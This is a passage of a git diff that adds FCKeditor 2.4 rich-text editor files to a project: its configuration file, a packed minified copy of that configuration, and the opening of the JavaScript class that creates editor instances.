hp4|FontFormats|h2|AutoDetectLanguage|php2|FlashUploadAllowedExtensions|ForcePasteAsPlainText|start|htm|Debug|h3|ToolbarComboPreviewCSS|LinkUploadDeniedExtensions|FontSizes|pwml|Roman|fla|Times|h4|Courier|h5|Sans|inc|Arial|h6|FFFFFF|CC99FF|99CCFF|StylesXmlPath|CCFFCC|asp|FFCC99|FlashUploadDeniedExtensions|C0C0C0|fckstyles|TemplatesXmlPath|aspx|00FF00|ToolbarLocation|FFCC00|fcktemplates|999999|ascx|3366FF|SmileyPath|339966|99CC00|FF9900|FF0000|devil_smile|666699|0000FF|008080|808000|FF6600|800000|333333|333399|000080|003366|003300|333300|240|000000|FontColors|Form|Copy|NumberedList|SpellChecker|Button|ImageButton|HiddenField|TextField|Radio|Checkbox|Textarea|Select|Anchor|jsp|ieSpell|ContextMenu|Outdent|IeSpellDownloadUrl|cfm||FitWindow|ImageDlgHideLink|http|Save|83|wcarchive|85|cfc|73|cdrom|66|76|Basic|pub|pl|cry_smile|simtelnet|handheld|bat|br|webbrow1|Keystrokes|65|ieSpellSetup240428|smiley|ShiftEnterMode|EnterMode|About|67|88|SpellerPagesServerScript|86|server|JustifyFull|JustifyRight|JustifyCenter|JustifyLeft|Indent|msn|RemoveFormat|Replace|Find|PasteWord|PasteText|scripts|Cut|Default|In|89|TemplateReplaceCheckbox|TemplateReplaceAll|10000|FloatingPanelsZIndex|PreserveSessionOnFileBrowser|IgnoreEmptyParagraphValue|ToolbarCanCollapse|ToolbarStartExpanded|SourcePopup|ShowBorders|TabSpaces|ForceSimpleAmpersand|AutoDetectPasteFromWord|spellchecker|StartupFocus|GeckoUseSPAN|ForceStrongEm|FormatIndentator|FormatOutput|FormatSource|FillEmptyBlocks|AdditionalNumericEntities|ProcessNumericEntities|IncludeGreekEntities|IncludeLatinEntities|ProcessHTMLEntities|ltr|ContentLangDirection|min|dll|lightbulb|SmileyColumns|400|AutoGrowMax|plugins|PluginsPath|buttonarrow|DisableEnterKeyHandler|AllowQueryStringDebug'.split('|'),0,{}))
+
diff --git a/fckeditor/fckconfig.js b/fckeditor/fckconfig.js
new file mode 100755 (executable)
index 0000000..8d8418c
--- /dev/null
@@ -0,0 +1,226 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckconfig.js
+ *     Editor configuration settings.
+ *     
+ *     Follow this link for more information:
+ *     http://wiki.fckeditor.net/Developer%27s_Guide/Configuration/Configurations_Settings
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// Disable the custom Enter Key Handler (this configuration will be removed in
+// version 2.5).
+FCKConfig.DisableEnterKeyHandler = false ;
+
+FCKConfig.CustomConfigurationsPath = '' ;
+
+FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css' ;
+FCKConfig.ToolbarComboPreviewCSS = '' ;
+
+FCKConfig.DocType = '' ;
+
+FCKConfig.BaseHref = '' ;
+
+FCKConfig.FullPage = false ;
+
+FCKConfig.Debug = false ;
+FCKConfig.AllowQueryStringDebug = true ;
+
+FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/' ;
+FCKConfig.PreloadImages = [ FCKConfig.SkinPath + 'images/toolbar.start.gif', FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif' ] ;
+
+FCKConfig.PluginsPath = FCKConfig.BasePath + 'plugins/' ;
+
+// FCKConfig.Plugins.Add( 'autogrow' ) ;
+FCKConfig.AutoGrowMax = 400 ;
+
+// FCKConfig.ProtectedSource.Add( /<%[\s\S]*?%>/g ) ;  // ASP style server side code <%...%>
+// FCKConfig.ProtectedSource.Add( /<\?[\s\S]*?\?>/g ) ;        // PHP style server side code
+// FCKConfig.ProtectedSource.Add( /(<asp:[^\>]+>[\s|\S]*?<\/asp:[^\>]+>)|(<asp:[^\>]+\/>)/gi ) ;       // ASP.Net style tags <asp:control>
+
+FCKConfig.AutoDetectLanguage   = false ;
+FCKConfig.DefaultLanguage              = 'en-min' ;
+FCKConfig.ContentLangDirection = 'ltr' ;
+
+FCKConfig.ProcessHTMLEntities  = true ;
+FCKConfig.IncludeLatinEntities = true ;
+FCKConfig.IncludeGreekEntities = true ;
+
+FCKConfig.ProcessNumericEntities = false ;
+
+FCKConfig.AdditionalNumericEntities = ''  ;            // Single Quote: "'"
+
+FCKConfig.FillEmptyBlocks      = true ;
+
+FCKConfig.FormatSource         = true ;
+FCKConfig.FormatOutput         = true ;
+FCKConfig.FormatIndentator     = '    ' ;
+
+FCKConfig.ForceStrongEm = true ;
+FCKConfig.GeckoUseSPAN = false ;
+FCKConfig.StartupFocus = false ;
+FCKConfig.ForcePasteAsPlainText        = false ;
+FCKConfig.AutoDetectPasteFromWord = true ;     // IE only.
+FCKConfig.ForceSimpleAmpersand = false ;
+FCKConfig.TabSpaces            = 0 ;
+FCKConfig.ShowBorders  = true ;
+FCKConfig.SourcePopup  = false ;
+FCKConfig.ToolbarStartExpanded = true ;
+FCKConfig.ToolbarCanCollapse   = true ;
+FCKConfig.IgnoreEmptyParagraphValue = true ;
+FCKConfig.PreserveSessionOnFileBrowser = false ;
+FCKConfig.FloatingPanelsZIndex = 10000 ;
+
+FCKConfig.TemplateReplaceAll = true ;
+FCKConfig.TemplateReplaceCheckbox = true ;
+
+FCKConfig.ToolbarLocation = 'In' ;
+FCKConfig.Plugins.Add('ImageManager');
+
+FCKConfig.ToolbarSets["Default"] = [
+       ['FontName','FontSize','Bold','Italic'],
+       ['Cut','Copy','Paste','PasteText','PasteWord','-','Undo','Redo','-'],
+       '/',
+       ['OrderedList','UnorderedList','-','Outdent','Indent'],
+       ['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+       ['TextColor'],
+       ['Link','Unlink'],
+       ['ImageManager','Table','Find','Replace','-','RemoveFormat','Source']
+       //'/',
+       //['FitWindow','-','About']
+] ;
+
+FCKConfig.ToolbarSets["Basic"] = [
+       ['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']
+] ;
+
+FCKConfig.ToolbarSets["LimitedToolset"] = [
+       ['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','PasteText','Source','-','About']
+] ;
+
+FCKConfig.EnterMode = 'p' ;                    // p | div | br
+FCKConfig.ShiftEnterMode = 'br' ;      // p | div | br
+
+FCKConfig.Keystrokes = [
+       [ CTRL + 65 /*A*/, true ],
+       [ CTRL + 67 /*C*/, true ],
+       [ CTRL + 88 /*X*/, true ],
+       [ CTRL + 86 /*V*/, 'Paste' ],
+       [ SHIFT + 45 /*INS*/, 'Paste' ],
+       [ CTRL + 90 /*Z*/, 'Undo' ],
+       [ CTRL + 89 /*Y*/, 'Redo' ],
+       [ CTRL + SHIFT + 90 /*Z*/, 'Redo' ],
+       [ CTRL + 76 /*L*/, 'Link' ],
+       [ CTRL + 66 /*B*/, 'Bold' ],
+       [ CTRL + 73 /*I*/, 'Italic' ],
+       [ CTRL + ALT + 83 /*S*/, 'Save' ],
+       [ CTRL + ALT + 13 /*ENTER*/, 'FitWindow' ],
+       [ CTRL + 9 /*TAB*/, 'Source' ]
+] ;
+
+FCKConfig.ContextMenu = ['Generic','Link','Anchor','Flash','Select','Textarea','Checkbox','Radio','TextField','HiddenField','ImageButton','Button','BulletedList','NumberedList','Table','Form'] ;
+
+FCKConfig.FontColors = '000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,808080,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF' ;
+
+FCKConfig.FontNames            = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
+FCKConfig.FontSizes            = '1/xx-small;2/x-small;3/small;4/medium;5/large;6/x-large;7/xx-large' ;
+FCKConfig.FontFormats  = 'p;div;pre;address;h1;h2;h3;h4;h5;h6' ;
+
+FCKConfig.StylesXmlPath                = FCKConfig.EditorPath + 'fckstyles.xml' ;
+FCKConfig.TemplatesXmlPath     = FCKConfig.EditorPath + 'fcktemplates.xml' ;
+
+FCKConfig.SpellChecker                 = 'ieSpell' ;   // 'ieSpell' | 'SpellerPages'
+FCKConfig.IeSpellDownloadUrl   = 'http://wcarchive.cdrom.com/pub/simtelnet/handheld/webbrow1/ieSpellSetup240428.exe' ;
+FCKConfig.SpellerPagesServerScript = 'server-scripts/spellchecker.php' ;       // Available extension: .php .cfm .pl
+
+FCKConfig.MaxUndoLevels = 15 ;
+
+FCKConfig.DisableObjectResizing = false ;
+FCKConfig.DisableFFTableHandles = true ;
+
+FCKConfig.LinkDlgHideTarget            = false ;
+FCKConfig.LinkDlgHideAdvanced  = true ;
+
+FCKConfig.ImageDlgHideLink             = false ;
+FCKConfig.ImageDlgHideAdvanced = true ;
+
+FCKConfig.FlashDlgHideAdvanced = true ;
+
+FCKConfig.ProtectedTags = '' ;
+
+// This will be applied to the body element of the editor
+FCKConfig.BodyId = '' ;
+FCKConfig.BodyClass = '' ;
+
+// The option switches between trying to keep the html structure or do the changes so the content looks like it was in Word
+FCKConfig.CleanWordKeepsStructure = false ;
+
+// The following value defines which File Browser connector and Quick Upload 
+// "uploader" to use. It is valid for the default implementaion and it is here
+// just to make this configuration file cleaner. 
+// It is not possible to change this value using an external file or even 
+// inline when creating the editor instance. In that cases you must set the 
+// values of LinkBrowserURL, ImageBrowserURL and so on.
+// Custom implementations should just ignore it.
+var _FileBrowserLanguage       = 'php' ;       // asp | aspx | cfm | lasso | perl | php | py
+var _QuickUploadLanguage       = 'php' ;       // asp | aspx | cfm | lasso | php
+
+// Don't care about the following line. It just calculates the correct connector 
+// extension to use for the default File Browser (Perl uses "cgi").
+var _FileBrowserExtension = _FileBrowserLanguage == 'perl' ? 'cgi' : _FileBrowserLanguage ;
+
+FCKConfig.LinkBrowser = false ;
+FCKConfig.LinkBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.LinkBrowserWindowWidth       = FCKConfig.ScreenWidth * 0.7 ;         // 70%
+FCKConfig.LinkBrowserWindowHeight      = FCKConfig.ScreenHeight * 0.7 ;        // 70%
+
+FCKConfig.ImageBrowser = false ;
+FCKConfig.ImageBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Image&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.ImageBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     // 70% ;
+FCKConfig.ImageBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    // 70% ;
+
+FCKConfig.FlashBrowser = false ;
+FCKConfig.FlashBrowserURL = FCKConfig.BasePath + 'filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/' + _FileBrowserLanguage + '/connector.' + _FileBrowserExtension ;
+FCKConfig.FlashBrowserWindowWidth  = FCKConfig.ScreenWidth * 0.7 ;     //70% ;
+FCKConfig.FlashBrowserWindowHeight = FCKConfig.ScreenHeight * 0.7 ;    //70% ;
+
+FCKConfig.LinkUpload = false ;
+FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage ;
+FCKConfig.LinkUploadAllowedExtensions  = "" ;                  // empty for all
+FCKConfig.LinkUploadDeniedExtensions   = ".(html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis)$" ;     // empty for no one
+
+FCKConfig.ImageUpload = false ;
+FCKConfig.ImageUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Image' ;
+FCKConfig.ImageUploadAllowedExtensions = ".(jpg|gif|jpeg|png|bmp)$" ;          // empty for all
+FCKConfig.ImageUploadDeniedExtensions  = "" ;                                                  // empty for no one
+
+FCKConfig.FlashUpload = false ;
+FCKConfig.FlashUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage + '?Type=Flash' ;
+FCKConfig.FlashUploadAllowedExtensions = ".(swf|fla)$" ;               // empty for all
+FCKConfig.FlashUploadDeniedExtensions  = "" ;                                  // empty for no one
+
+FCKConfig.SmileyPath   = FCKConfig.BasePath + 'images/smiley/msn/' ;
+FCKConfig.SmileyImages = ['regular_smile.gif','sad_smile.gif','wink_smile.gif','teeth_smile.gif','confused_smile.gif','tounge_smile.gif','embaressed_smile.gif','omg_smile.gif','whatchutalkingabout_smile.gif','angry_smile.gif','angel_smile.gif','shades_smile.gif','devil_smile.gif','cry_smile.gif','lightbulb.gif','thumbs_down.gif','thumbs_up.gif','heart.gif','broken_heart.gif','kiss.gif','envelope.gif'] ;
+FCKConfig.SmileyColumns = 8 ;
+FCKConfig.SmileyWindowWidth            = 320 ;
+FCKConfig.SmileyWindowHeight   = 240 ;
diff --git a/fckeditor/fckeditor-min.js b/fckeditor/fckeditor-min.js
new file mode 100755 (executable)
index 0000000..4ed4d8f
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('30 31 32 6i.6j=d;34 8D.8E=\'\';36 2x.2p=c.f+\'M/2m.M\';2q.2y=\'\';39 1D.1C=\'\';41 2i.2j=\'\';43 8G.1p=d;45 1y.18=d;25.17=b;48 1i.u=c.f+\'28/m/\';19.4r=[c.u+\'w/R.29.a\',c.u+\'w/R.4k.a\'];51 1a.14=c.f+\'4m/\';53 54 12.2b=16;56 57 58 59 60 8C.8B=b;8A.8z=\'8y\';4f.8w=\'8v\';64 4d.8s=b;4c.8q=b;4b.8o=b;68 8m.49=d;70 8j.8i=\'\';72 8g.8f=b;74 8d.8c=b;8b.8a=b;3Z.84=\' \';78 81.80=b;7Z.7Y=d;7X.7W=d;7V.7U=d;1Z.1f=b;7R.7Q=d;7P.7O=0;7N.7M=b;7L.3P=d;7J.7I=b;7H.3N=b;7F.7E=b;7D.7C=d;7B.7A=7z;7y 7x.7w=b;7v.3H=b;7t 7s.7r=\'7q\';7p.7o.7n(\'3D\');7l.P["7k"]=[7j[\'K\',\'-\'],7i[\'7h\',\'7g\',\'E\',\'7f\',\'3z\',\'-\'],7d[\'W\',\'F\',\'-\',\'7c\',\'7b\',\'-\',\'7a\'],79 77\'/\',3v[\'A\',\'t\',\'V\'],1N[\'S\',\'J\',\'-\',\'6Z\',\'6Y\'],6X[\'6W\',\'6V\',\'6U\',\'3r\'],1L[\'o\',\'O\']6R 6Q 6P 6O 6N 6M];6L 3n.P["6I"]=[6H[\'A\',\'t\',\'-\',\'S\',\'J\',\'-\',\'o\',\'O\',\'-\',\'6D\']6C];6B 6A.6z=\'p\';6y.6x=\'6w\';6v 6u.6t=[6s[e+65,b],6q[e+67,b],6o[e+88,b],6m[e+86,\'E\'],6k[11+45,\'E\'],6h[e+H,\'W\'],6f[e+89,\'F\'],6d[e+11+H,\'F\'],69[e+76,\'o\'],62[e+66,\'A\'],5Y[e+73,\'t\'],5V[e+85,\'V\'],5S[e+I+83,\'5Q\'],5P[e+I+13,\'2Q\'],5L[e+9,\'K\']5H];5G 5F.5E=[\'5D\',\'o\',\'5B\',\'s\',\'5A\',\'5z\',\'5y\',\'5x\',\'5w\',\'5v\',\'2H\',\'5t\',\'5s\',\'5r\',\'5q\',\'5p\'];5o 3T.4j=\'5l,5k,5j,5i,5h,5g,5f,4y,5d,5c,5b,L,5a,55,52,L,4Z,4Y,4X,4W,4V,4U,4T,4O,4P,50,5e,5n,5u,5J,5K,5O,5T,6a,6b,6T,6g,71,8F,6J\';6K 75.2h=\'1E;7G 2z 87;8p 10;1d;4s 10 4q;4p\';2a.4n=\'1/Z-C;2/x-C;3/C;4/4h;5/G;6/x-G;7/Z-G\';26.8n=\'p;8k;8h;44;8e;40;22;82;3X;3W\';3V 3U.1g=c.X+\'3S.Y\';3R.3Q=c.X+\'3O.Y\';3M 3L.3K=\'3J\';3I.1T=\'3G://3F.3E.N/1R/3C/3B/3A/1P.Q\';3y.3x=\'3w-1r/3u.q\';3t 3s.1t=15;3p 3o.1J=d;3m.3l=b;3k 3j.3i=d;3h.3g=b;3f 3e.6r=d;6p.6n=b;6l 38.37=b;33 2Z.63=\'\';2X 2W 5X.5U=\'\';2T.5R=\'\';2R 5N 2P.2O=d;2N 2M 2L 2K 2J 2I 2B 2D 2E h=\'q\';2G g=\'q\';4l 4u 4v 4x n=h==\'4z\'?\'T\':h;4B 4C.4E=d;4F.4K=c.f+\'k/i/m/i.l?B=z/\'+h+\'/D.\'+n;4L.4N=c.y*0.7;4Q.5m=c.v*0.7;5C 5M.5W=d;6c.8x=c.f+\'k/i/m/i.l?r=U&B=z/\'+h+\'/D.\'+n;6F.6S=c.y*0.7;7e.7u=c.v*0.7;7T 8r.2e=d;2d.4o=c.f+\'k/i/m/i.l?r=s&B=z/\'+h+\'/D.\'+n;46.42=c.y*0.7;3Y.20=c.v*0.7;1W 1V.1U=d;1m.1S=c.f+\'k/j/\'+g+\'/j.\'+g;1n.1Q="";1q.1O=".(l|1M|q|3q|1u|1I|1H|1G|1F|3d|3b|2f|35|2k|2l|2V|2U|2S|Q|N|2v|2A|2C|2F|T|4w|4A)$";4D 4G.4M=d;4R.5I=c.f+\'k/j/\'+g+\'/j.\'+g+\'?r=U\';6e.6E=".(7K|a|8t|1c|2c)$";4i.4e="";4a 23.21=d;1X.1k=c.f+\'k/j/\'+g+\'/j.\'+g+\'?r=s\';1K.1z=".(1A|3c)$";2g.2Y="";2o 2s.2u=c.f+\'w/4H/4S/\';5Z.6G=[\'8l.a\',\'1b.a\',\'27.a\',\'47.a\',\'1e.a\',\'1Y.a\',\'1o.a\',\'1s.a\',\'1v.a\',\'1B.a\',\'3a.a\',\'2n.a\',\'2w.a\',\'4t.a\',\'4I.a\',\'61.a\',\'8u.a\',\'4g.a\',\'1h.a\',\'1j.a\',\'1w.a\'];2r.4J=8;24.1x=2t;7m.1l=7S;',62,539,'||||||||||gif|true|FCKConfig|false|CTRL|BasePath|_QuickUploadLanguage|_FileBrowserLanguage|browser|upload|filemanager|html|default|_FileBrowserExtension|Link||php|Type|Flash|Italic|SkinPath|ScreenHeight|images||ScreenWidth|connectors|Bold|Connector|small|connector|Paste|Redo|large|90|ALT|UnorderedList|Source|808080|css|com|Unlink|ToolbarSets|exe|toolbar|OrderedList|cgi|Image|Underline|Undo|EditorPath|xml|xx|New|SHIFT|55FCKConfig||PluginsPath||400|AllowQueryStringDebug|Debug|50FCKConfig|52FCKConfig|sad_smile|png|Tahoma|confused_smile|AutoDetectPasteFromWord|StylesXmlPath|broken_heart|49FCKConfig|kiss|FlashUploadURL|SmileyWindowHeight|208FCKConfig|209FCKConfig|embaressed_smile|FullPage|210FCKConfig|scripts|omg_smile|MaxUndoLevels|php3|whatchutalkingabout_smile|envelope|SmileyWindowWidth|46FCKConfig|FlashUploadAllowedExtensions|swf|angry_smile|DocType|40FCKConfig|Arial|pwml|phtml|php5|php4|DisableObjectResizing|219FCKConfig|108|htm|106|LinkUploadDeniedExtensions|ieSpellSetup240428|LinkUploadAllowedExtensions|pub|LinkUploadURL|IeSpellDownloadUrl|LinkUpload|207FCKConfig|206|218FCKConfig|tounge_smile|83FCKConfig|FlashBrowserWindowHeight|FlashUpload|h3|217FCKConfig|225FCKConfig|47FCKConfig|147FCKConfig|wink_smile|skins|start|146FCKConfig|AutoGrowMax|bmp|203FCKConfig|FlashBrowser|aspx|220FCKConfig|FontNames|42FCKConfig|BaseHref|jsp|cfm|fck_editorarea|shades_smile|221|EditorAreaCSS|38FCKConfig|224FCKConfig|222FCKConfig|320|SmileyPath|dll|devil_smile|37FCKConfig|ToolbarComboPreviewCSS|Sans|vbs|183|js|184|185var|reg|186var|ImageButton|182|181|180|179|178|177|CleanWordKeepsStructure|176FCKConfig|FitWindow|174|bat|173FCKConfig|pl|cfc|171|170|FlashUploadDeniedExtensions|169FCKConfig||||168||ascx||FlashDlgHideAdvanced|167FCKConfig||angel_smile|asp|fla|inc|164FCKConfig|163|LinkDlgHideAdvanced|162FCKConfig|LinkDlgHideTarget|161FCKConfig|160|DisableFFTableHandles|159FCKConfig|116FCKConfig|158FCKConfig|157|php2|JustifyFull|156FCKConfig|155|spellchecker|105|server|SpellerPagesServerScript|154FCKConfig|PasteWord|webbrow1|handheld|simtelnet|ImageManager|cdrom|wcarchive|http|TemplateReplaceCheckbox|153FCKConfig|ieSpell|SpellChecker|152FCKConfig|151|ToolbarCanCollapse|fcktemplates|SourcePopup|TemplatesXmlPath|150FCKConfig|fckstyles|143FCKConfig|149FCKConfig|148|h6|h5|205FCKConfig|77FCKConfig|h2||FlashBrowserWindowWidth||address||204FCKConfig|teeth_smile||ProcessNumericEntities|216|67FCKConfig|66FCKConfig|65FCKConfig|ImageUploadDeniedExtensions|63FCKConfig|heart|medium|215FCKConfig|FontColors|buttonarrow|187|plugins|FontSizes|FlashBrowserURL|Verdana|Roman|PreloadImages|Times|cry_smile|188|189|htaccess|190var|333333|perl|asis|191|192FCKConfig|211|LinkBrowser|193FCKConfig|212FCKConfig|smiley|lightbulb|SmileyColumns|LinkBrowserURL|194FCKConfig|ImageUpload|LinkBrowserWindowWidth|999999|FF00FF|195FCKConfig|213FCKConfig|msn|800080|3366FF|33CCCC|339966|99CC00|FF9900|FF0000|FFCC00||666699|||0000FF|||||008080|808000|FF6600|800000|FFFF00|333399|000080|003366|003300|333300|993300|000000|LinkBrowserWindowHeight|00FF00|142|Form|Table|NumberedList|BulletedList|Button|00FFFF|HiddenField|TextField|Radio|Checkbox|Textarea|Select|Anchor|196|Generic|ContextMenu|141FCKConfig|140|139|ImageUploadURL|00CCFF|993366|138|197FCKConfig|175|C0C0C0|137|Save|BodyClass|136|FF99CC|BodyId|135|ImageBrowser|172FCKConfig|134|223FCKConfig||thumbs_down|133|ProtectedTags||||||132|FFCC99|FFFF99|198FCKConfig|131|214FCKConfig|130|CCFFFF|129|33FCKConfig|DisableEnterKeyHandler|128|166|127|ImageDlgHideAdvanced|126|165FCKConfig|125|ImageDlgHideLink|124|Keystrokes|123FCKConfig|122|br|ShiftEnterMode|121FCKConfig|EnterMode|120FCKConfig|119|118|About|ImageUploadAllowedExtensions|199FCKConfig|SmileyImages|117|Basic|FFFFFF|144|115|114|113|112|111|110|109|ImageBrowserWindowWidth|CCFFCC|JustifyRight|JustifyCenter|JustifyLeft|107|Indent|Outdent||99CCFF||||145FCKConfig||104||103|RemoveFormat|Replace|Find|102|200FCKConfig|PasteText|Copy|Cut|101|100|Default|99FCKConfig|226FCKConfig|Add|Plugins|98FCKConfig|In|ToolbarLocation|97FCKConfig|96|ImageBrowserWindowHeight|95FCKConfig|TemplateReplaceAll|94FCKConfig|93|10000|FloatingPanelsZIndex|92FCKConfig|PreserveSessionOnFileBrowser|91FCKConfig|IgnoreEmptyParagraphValue|90FCKConfig|Comic|89FCKConfig|ToolbarStartExpanded|88FCKConfig|jpg|87FCKConfig|ShowBorders|86FCKConfig|TabSpaces|85FCKConfig|ForceSimpleAmpersand|84FCKConfig|240|201|ForcePasteAsPlainText|82FCKConfig|StartupFocus|81FCKConfig|GeckoUseSPAN|80FCKConfig|ForceStrongEm|79FCKConfig|h4||FormatIndentator|||MS|||FormatOutput|76FCKConfig|FormatSource|75FCKConfig|h1|FillEmptyBlocks|73FCKConfig|pre|AdditionalNumericEntities|71FCKConfig|div|regular_smile|69FCKConfig|FontFormats|IncludeGreekEntities|Courier|IncludeLatinEntities|202FCKConfig|ProcessHTMLEntities|jpeg|thumbs_up|ltr|ContentLangDirection|ImageBrowserURL|en|DefaultLanguage|62FCKConfig|AutoDetectLanguage|61FCKConfig|35FCKConfig|CustomConfigurationsPath|CC99FF|44FCKConfig'.split('|'),0,{}))
+
diff --git a/fckeditor/fckeditor.js b/fckeditor/fckeditor.js
new file mode 100755 (executable)
index 0000000..1e08cda
--- /dev/null
@@ -0,0 +1,218 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.js
+ *     This is the integration file for JavaScript.
+ * 
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in a HTML page in the client side. For server side
+ *     operations, use the specific integration system.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// FCKeditor Class
+var FCKeditor = function( instanceName, width, height, toolbarSet, value )
+{
+       // Properties
+       this.InstanceName       = instanceName ;
+       this.Width                      = width                 || '100%' ;
+       this.Height                     = height                || '200' ;
+       this.ToolbarSet         = toolbarSet    || 'Default' ;
+       this.Value                      = value                 || '' ;
+       this.BasePath           = '/fckeditor/' ;
+       this.CheckBrowser       = true ;
+       this.DisplayErrors      = true ;
+       this.EnableSafari       = false ;               // This is a temporary property, while Safari support is under development.
+       this.EnableOpera        = false ;               // This is a temporary property, while Opera support is under development.
+
+       this.Config                     = new Object() ;
+
+       // Events
+       this.OnError            = null ;        // function( source, errorNumber, errorDescription )
+}
+
+FCKeditor.prototype.Version                    = '2.4' ;
+FCKeditor.prototype.VersionBuild       = '1148' ;
+
+FCKeditor.prototype.Create = function()
+{
+       document.write( this.CreateHtml() ) ;
+}
+
+FCKeditor.prototype.CreateHtml = function()
+{
+       // Check for errors
+       if ( !this.InstanceName || this.InstanceName.length == 0 )
+       {
+               this._ThrowError( 701, 'You must specify an instance name.' ) ;
+               return '' ;
+       }
+
+       var sHtml = '<div>' ;
+
+       if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
+       {
+               sHtml += '<input type="hidden" id="' + this.InstanceName + '" name="' + this.InstanceName + '" value="' + this._HTMLEncode( this.Value ) + '" style="display:none" />' ;
+               sHtml += this._GetConfigHtml() ;
+               sHtml += this._GetIFrameHtml() ;
+       }
+       else
+       {
+               var sWidth  = this.Width.toString().indexOf('%')  > 0 ? this.Width  : this.Width  + 'px' ;
+               var sHeight = this.Height.toString().indexOf('%') > 0 ? this.Height : this.Height + 'px' ;
+               sHtml += '<textarea name="' + this.InstanceName + '" rows="4" cols="40" style="width:' + sWidth + ';height:' + sHeight + '">' + this._HTMLEncode( this.Value ) + '<\/textarea>' ;
+       }
+
+       sHtml += '</div>' ;
+       
+       return sHtml ;
+}
+
+FCKeditor.prototype.ReplaceTextarea = function()
+{
+       if ( !this.CheckBrowser || this._IsCompatibleBrowser() )
+       {
+               // We must check the elements firstly using the Id and then the name.
+               var oTextarea = document.getElementById( this.InstanceName ) ;
+               var colElementsByName = document.getElementsByName( this.InstanceName ) ;
+               var i = 0;
+               while ( oTextarea || i == 0 )
+               {
+                       if ( oTextarea && oTextarea.tagName.toLowerCase() == 'textarea' )
+                               break ;
+                       oTextarea = colElementsByName[i++] ;
+               }
+               
+               if ( !oTextarea )
+               {
+                       alert( 'Error: The TEXTAREA with id or name set to "' + this.InstanceName + '" was not found' ) ;
+                       return ;
+               }
+
+               oTextarea.style.display = 'none' ;
+               this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
+               this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
+       }
+}
+
+FCKeditor.prototype._InsertHtmlBefore = function( html, element )
+{
+       if ( element.insertAdjacentHTML )       // IE
+               element.insertAdjacentHTML( 'beforeBegin', html ) ;
+       else                                                            // Gecko
+       {
+               var oRange = document.createRange() ;
+               oRange.setStartBefore( element ) ;
+               var oFragment = oRange.createContextualFragment( html );
+               element.parentNode.insertBefore( oFragment, element ) ;
+       }
+}
+
+FCKeditor.prototype._GetConfigHtml = function()
+{
+       var sConfig = '' ;
+       for ( var o in this.Config )
+       {
+               if ( sConfig.length > 0 ) sConfig += '&amp;' ;
+               sConfig += encodeURIComponent( o ) + '=' + encodeURIComponent( this.Config[o] ) ;
+       }
+
+       return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
+}
+
+FCKeditor.prototype._GetIFrameHtml = function()
